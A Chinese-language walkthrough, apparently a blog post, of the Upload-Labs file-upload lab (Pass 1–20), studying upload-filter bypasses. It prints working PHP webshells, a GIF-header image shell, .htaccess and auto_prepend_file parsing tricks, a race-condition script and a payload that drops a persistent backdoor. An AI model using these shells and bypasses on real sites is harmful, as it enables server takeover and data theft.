Upload-Labs (Pass1-Pass21) 完整通关思路与源码分析

文件上传

php官网:PHP

php一句话木马

将恶意代码(木马)伪装成看似正常的文件,绕过网站的前端或后端检测并上传,之后通过工具连接木马获得服务器控制权

🐘 一句话木马是什么?

"一句话木马"是一种短小精悍的恶意代码,通常只有一行,但功能强大。它通过eval等函数执行接收到的指令,为攻击者提供操作服务器的后门。

当PHP标签被过滤时,可以用<%%3C这类替代符号 来绕过限制。这属于Web安全中常见的一句话木马变形技术,通过使用不同编码或符号变体来规避关键词检测。

链接到木马文件

  • <?php ... ?>: PHP代码的起始和结束标签。

  • @: 错误控制运算符,用于屏蔽执行中可能产生的错误信息。

  • eval(): PHP中将字符串作为代码执行的函数,是整个木马的核心。

  • $_POST['cmd'] : 从HTTP POST请求中获取名为cmd的参数值。

当这个文件被上传并访问时,攻击者可以通过客户端(如蚁剑、菜刀)向该文件发送POST请求,参数cmd中携带要执行的系统命令,这些命令就会被服务器执行。

192.168.test.php?w3b=这样的URL格式来执行命令,但要注意编码问题 可能导致显示异常(比如出现"黑点点")。在PHP中尖角号()是必须的 ,否则代码不会被识别为PHP。但如果系统禁止使用尖角号,使用PHP开头的方式(比如短标签<?<script language="php">)。

pikachu里

文件上传漏洞 的核心在于:当系统允许上传文件时,如果没有严格限制文件类型,攻击者就可能上传恶意文件(比如PHP木马)。

两个关键点:

1)必须绕过限制成功上传;

2)要知道文件最终存储在服务器的哪个路径,否则上传了也无法利用。

前期准备

实时保护和防火墙关一下(仅学习时使用)

原理:

php---->png

burpsuit抓包

请求里修改回php

第一关

源码
复制代码
function checkFile() {
    var file = document.getElementsByName('upload_file')[0].value;
    if (file == null || file == "") {
        alert("请选择要上传的文件!");
        return false;
    }
    //定义允许上传的文件类型
    var allow_ext = ".jpg|.png|.gif";
    //提取上传文件的类型
    var ext_name = file.substring(file.lastIndexOf("."));
    //判断上传文件类型是否允许上传
    if (allow_ext.indexOf(ext_name + "|") == -1) {
        var errMsg = "该文件不允许上传,请上传" + allow_ext + "类型的文件,当前文件类型为:" + ext_name;
        alert(errMsg);
        return false;
    }
}
1.创建php文件

一句话木马 的典型形式是eval($_POST['cmd']),它的利用方式是通过给cmd参数赋值来执行任意PHP代码

复制代码
<?php eval($_POST['cmd']);?>
2.蚁剑链接

整个过程就是:初始化→设置访问路径→通过参数名传递指令。

3.burpsuit抓包修改后缀

关键点在于

1)先用合法后缀(如.png)骗过前端检查;

2)抓包后改回真实后缀(.php);

3)最后要确认文件上传路径才能执行攻击。

4.右键查看新标签打开图像

这个 PHP 文件就像一个对讲机: 蚁剑 = 正常对讲(POST 带 cmd) :你持续发送指令(删文件、看目录、上传文件),服务器接收指令干活,这就是 WebShell 正常管理功能。 浏览器裸访问 = 对讲机开机自检(无 cmd):只是弹出环境信息,你没法发指令控制服务器。

原生一句话木马:<?php eval($_POST['cmd']);?>

  • 浏览器 GET 访问:报错 Undefined index:cmd无法管理服务器

  • 蚁剑 POST 访问:正常工作,管理服务器文件

复制代码
<?php 
if(isset($_POST['cmd'])){ 
    eval($_POST['cmd']);
}else{    
    phpinfo();
} 
?>

多加了一层 "自检页面",不会破坏蚁剑原本的通信功能,两种访问方式互不干扰。

第二关

重点在于分析源代码

Content-Type 属性的作用,以及后端如何校验文件类型。Content-Type 用来声明上传文件的类型,白名单 三种类型:image/pngimage/jpgimage/gif

如果匹配,才会继续处理文件;如果不匹配,就直接返回错误,比如提示"文件类型不正确,请重新上传"。这种校验方式能有效防止用户上传不安全的文件类型。

  1. 修改Content-Type字段:把原本的"text/php"改成"image/jpeg"或"image/png"来欺骗系统

  2. 验证解析效果:先用简单的phpinfo()函数测试是否上传成功,确认服务器能解析上传的php文件

第三关

源码分析

上传test.png,burpsuit修改

第四关

阿帕奇(Apache)服务器配置文件的特殊用法

源码分析

复制代码
$is_upload = false;
$msg = null;
if (isset($_POST['submit'])) {
    if (file_exists(UPLOAD_PATH)) {
        $deny_ext = array(".php",".php5",".php4",".php3",".php2","php1",".html",".htm",".phtml",".pht",".pHp",".pHp5",".pHp4",".pHp3",".pHp2","pHp1",".Html",".Htm",".pHtml",".jsp",".jspa",".jspx",".jsw",".jsv",".jspf",".jtml",".jSp",".jSpx",".jSpa",".jSw",".jSv",".jSpf",".jHtml",".asp",".aspx",".asa",".asax",".ascx",".ashx",".asmx",".cer",".aSp",".aSpx",".aSa",".aSax",".aScx",".aShx",".aSmx",".cEr",".sWf",".swf");
        $file_name = trim($_FILES['upload_file']['name']);
        $file_name = deldot($file_name);//删除文件名末尾的点
        $file_ext = strrchr($file_name, '.');
        $file_ext = strtolower($file_ext); //转换为小写
        $file_ext = str_ireplace('::$DATA', '', $file_ext);//去除字符串::$DATA
        $file_ext = trim($file_ext); //收尾去空
​
        if (!in_array($file_ext, $deny_ext)) {
            $temp_file = $_FILES['upload_file']['tmp_name'];
            $img_path = UPLOAD_PATH.'/'.$file_name;
            if (move_uploaded_file($temp_file, $img_path)) {
                $is_upload = true;
            } else {
                $msg = '上传出错!';
            }
        } else {
            $msg = '此文件不允许上传!';
        }
    } else {
        $msg = UPLOAD_PATH . '文件夹不存在,请手工创建!';
    }
}

题目考察的是**.htaccess** 这个文件,它是目录级别的配置文件,不像主配置文件那样全局生效。

复制代码
<FilesMatch "\.jpg$">
    SetHandler application/x-httpd-php
</FilesMatch>

利用Apache的.htaccess配置文件。通过在upload目录下创建这个文件,可以强制让Apache把jpg文件当作php来解析。

核心在于:真正的攻击成功需要同时满足两个条件:

  1. 绕过上传限制;

  2. 确保文件能被正确解析执行。

burp 抓包,修改后缀为.htaccess上传

旧写法 AddType application/x-httpd-php 在新版 Apache2.4 已经废弃,是产生 500 错误的主要原因!

修改php到有nts版本----因为Apache默认不会走FPM进程 ,需要手动切换到**Nginx+PHP(NTS版本)**的组合才能触发解析。

第五关

文件访问重定向

源代码

黑名单校验很难做到完全覆盖,比如用全大写的.PHP后缀,或者.php7、.html等变体都可能绕过限制。

当用户访问某个目录下的php文件时,系统会默认加载同目录下的jpg文件内容

正常情况下访问jpg不会执行php代码,但通过创建.htaccess配置文件 ,就能实现访问php文件时自动加载jpg内容的效果。

复制代码
auto_prepend_file=shell.jpg

在user.ini文件中添加一行配置,就能实现访问任何内容前先加载这张图片的功能。

修改的user.ni文件没生效------因为Apache默认不会走FPM进程 ,需要手动切换到**Nginx+PHP(NTS版本)**的组合才能触发解析。

第六关

源代码

先上传.htaccess文件,再上传test.png文件

test.php +空格

第七关

  • . /+.空格

在文件名末尾加一个点可以让系统误判文件类型。比如把"test.php."上传时,服务器会忽略最后的点,仍按php文件执行。

第8关

本关考核的是 deldot() 函数的行为deldot() 只删除末尾的一个点,但实际源码中它是循环删除所有末尾点。

复制代码
"shell.php. . " → "shell.php. . "(trim 先去空格)

第9关

index.txt::$DATA====>默认数据流

源码分析

// 黑名单数组,禁止上传的后缀(已经包含 .htaccess)

  • ::$DATA

  • 流名的特殊语法访问非默认流(比如index.txt:metadata),不过直接打开文件时系统默认只显示主数据流。

第10关

单次字符串替换(双写绕过)

复制代码
filename="test.pphphp"

第11关

GET 路径穿越(save_path 漏洞)

本关考核的是 路径穿越(Directory Traversal) 漏洞。源码使用白名单检查扩展名,但 save_path 参数直接来自 GET 请求,未做任何过滤,可注入 ../ 实现任意路径写入。

  • 源码分析

第12关

POST 路径穿越

本关与 Pass-11 原理相同,但 save_path 从 GET 改为 POST。POST 数据不会 URL 编码,需要在 Burp 中直接插入原始空字节。

第13关

手工读取文件头(unpack)

本关考核的是最基础的文件类型检测------只读取文件头 2 个字节判断文件类型。这种检测极其薄弱,任何文件只要前 2 字节匹配就能通过。

图片码====》服务器

访问图片码---》服务器没办法把php图片识别为php 代码

图片马具体详细步骤见第15关

也可以用 (0x00截断)

第14关

项目 Pass-13 Pass-14
检测深度 只看前 2 字节 解析完整图片结构
纯文本改后缀 能通过(只要加2字节头) 不能通过(不是真图片)
图片马要求 任意文件+合法头 必须是真正的图片文件
检测函数 unpack() 手工解包 getimagesize() 内置函数

步骤和上关一样,详细步骤见15关

第15关

提示

文件上传验证绕过的技术点。他在文件内容前添加了"gif89a"的魔术数字,成功让系统误判文件类型为GIF。

比如第14关使用getimagesize()函数检测图片尺寸,就算改了魔术数字,上传PHP文件还是会报错。第15关则是通过image_type判断文件类型,同样存在被绕过的风险。

上传失败的根本原因不是代码逻辑错误,而是缺少upload目录解决方法很简单------手动创建upload文件夹即可

本关使用 exif_imagetype() 检测文件类型。该函数读取文件开头的签名库(比前两关更全面),但同样不检查尾部内容。

需要启用 PHP EXIF 扩展。

1.修改配置文件

2.重启Apache

3.验证

复制代码
命令行:php -m | findstr exif
  或访问 phpinfo() 页面搜索 exif

具体步骤

1.准备图片a.jpg和文件shesll.php
2.Windows CMD 合成命令
复制代码
:: jpg图片马 
​
copy a.jpg /b + shell.php /a shell.jpg

在这个文件目录下输入cmd打开

参数说明:

  • /b:二进制模式(图片)

  • /a:ASCII 文本模式(php 代码)

Linux 命令等效:cat a.jpg shell.php > shell.jpg

3.上传图片马

上传成功后,记录返回的文件地址,类似:

复制代码
upload/3020260729072259.png
成功截图

第16关

防御方式:它不仅校验文件类型,还会对上传内容进行二次渲染

图片上传后系统会打乱原文件内容,导致嵌入的PHP代码失效。关键解决思路是通过比对原图和渲染后的文件,找出未被修改的部分,然后把木马代码插到这些保留区域。

源码分析

操作步骤

1.构造 GIF 图片马
复制代码
GIF89a
<?php @eval($_POST['cmd']); ?>

大家也可以用这个,也是一样的一句话木马,只是润色避免了我浏览器打不开

复制代码
GIF89a
<?php
if(isset($_POST['cmd'])){
    eval($_POST['cmd']);
}else{
    phpinfo();
}
?>

注意这里的图片一定要是动图!!!

下面是我找到的gif格式的图片,先把它重命名a.gif,上传875.gif

第二次导入

,上传在得到

GIF 文件头 GIF89a 是校验关键,exif_imagetype() 识别为合法 gif。
💡为什么 GIF 更容易成功:

PHP 的imagecreatefromgif对 GIF 的注释 / 文件头部内容保留性更强,多数情况下不会清除头部代码

然后用010Editor比较后面两张图片,在空白处写入一句话木马的代码,上传,后面步骤一样。

第17关--条件竞争漏洞分析

关键点 在于:当用户上传可疑文件时,系统会先用unlink()函数立即删除该文件,这是一种安全防护措施。

防御逻辑是:先把上传文件暂存到指定路径,检测到异常就立即调用unlink删除。

核心思路 是通过同时发送大量请求来突破系统限制:比如默认发10个请求,但可以调整到每次发20个来提高攻击频率。关键在于观察响应状态码------如果返回200说明上传成功(即使后续被删除),而访问时只要不是404就代表命中了一次有效文件。

实际操作中需要双线并行:一边持续上传文件,另一边不断访问目标路径。就像打地鼠游戏,只要抓住任何一个非404的响应瞬间,就证明攻击成功了。不过要注意,这种暴力破解方法需要反复尝试,成功率不稳定。

步骤1.上传test.png,用burpsuit抓包

步骤 2:Intruder 持续发包(不断尝试上传)

  1. 将数据包发送到 Intruder

  2. Payload 设置:Null payloads(无载荷,单纯循环重放)

选项设置:线程数调至 30~50,无限循环发包

作用:不停上传 shell.php,让文件反复落地

步骤 3:并发持续访问文件(抢占竞争窗口)

方案 A(Burp Repeater 多标签)

新建请求,循环访问地址:

复制代码
http://192.168.178.1/upload/Pass-17/shell.php

开启多线程持续 GET 访问。

方案 B(Python 脚本,成功率更高,推荐)

复制代码
import requests
import threading
​
url = "http://192.168.178.1/upload/Pass-17/shell.php"
data = {"cmd":"phpinfo();"}
​
def visit():
    while True:
        try:
            res = requests.post(url,data=data,timeout=0.3)
            if res.status_code == 200 and "phpinfo" in res.text:
                print("✅竞争成功!木马执行!")
                break
        except:
            pass
​
t = threading.Thread(target=visit)
t.start()

脚本持续 POST 发包触发 eval,一旦命中时间窗口,页面执行 phpinfo。

第18关

Pass17:后端不随机改名,可以直接竞争访问原文件名

Pass18:后端随机重命名,必须使用 "自写入生成固定文件名" 的 Payload,这是最关键区别!

不要直接写一句话,改用文件创建木马

修改你的test.php内容:

复制代码
<?php
// 访问瞬间,在当前目录生成稳定名字shell.php
$f = fopen("shell.php","w");
fwrite($f,'<?php @eval($_POST["cmd"]); ?>');
fclose($f);
?>

原理说明

  1. Intruder 持续高并发上传 test.php

  2. 在服务器删除test.php之前,GET 访问触发代码执行

  3. 脚本自动生成固定名称 shell.php

  4. 后续直接访问 http://192.168.178.1/upload/Pass-18/shell.php 永久后门

后面操作和上一关一样

第19关

接收 POST 参数 save_name(自定义保存文件名)

第20关

复制代码
save_name[0]=shell.php 
save_name[1]=jpg

相关推荐
我命由我1234512 小时前
Android 开发问题:使用 AndroidTreeView 时,自定义视图无法撑满父容器
android·java·java-ee·kotlin·android studio·android-studio·android runtime
没文化的阿浩13 小时前
【MySQL】数据类型
android·mysql·adb
恋猫de小郭13 小时前
社区版 Dart macros?一个可以解决 JSON 序列化的Fluter “宏编程”第三方包
android·前端·flutter
mmsx13 小时前
Android Design 项目集合
android
游戏开发爱好者81 天前
带签名时间戳接口的重放与压力测试实战,用动态值在发送前现算签名
网络协议·计算机网络·网络安全·ios·adb·https·压力测试
启雀AI1 天前
培训平台移动端离线学习方案设计与实现:视频缓存、断点续传与进度同步的工程实践
android·学习·缓存·音视频·企业lms
我命由我123451 天前
RxJava - 冷数据流与热数据流
android·java·java-ee·android studio·rxjava·android-studio·android runtime
2601_966563521 天前
愤怒的小鸟单机版 去广告 安卓+PC端离线纯净版 益智耐玩小游戏 不需联网 老旧手机都可以玩 怀旧手机小游戏
android·智能手机
hunterandroid1 天前
[Android 从零到一] Retrofit 请求取消与生命周期绑定:从 Call.cancel 到协程可取消设计
android
笨鸟先飞,勤能补拙1 天前
AI与深度学习:从原理到应用
人工智能·windows·vscode·深度学习·机器学习·网络安全·github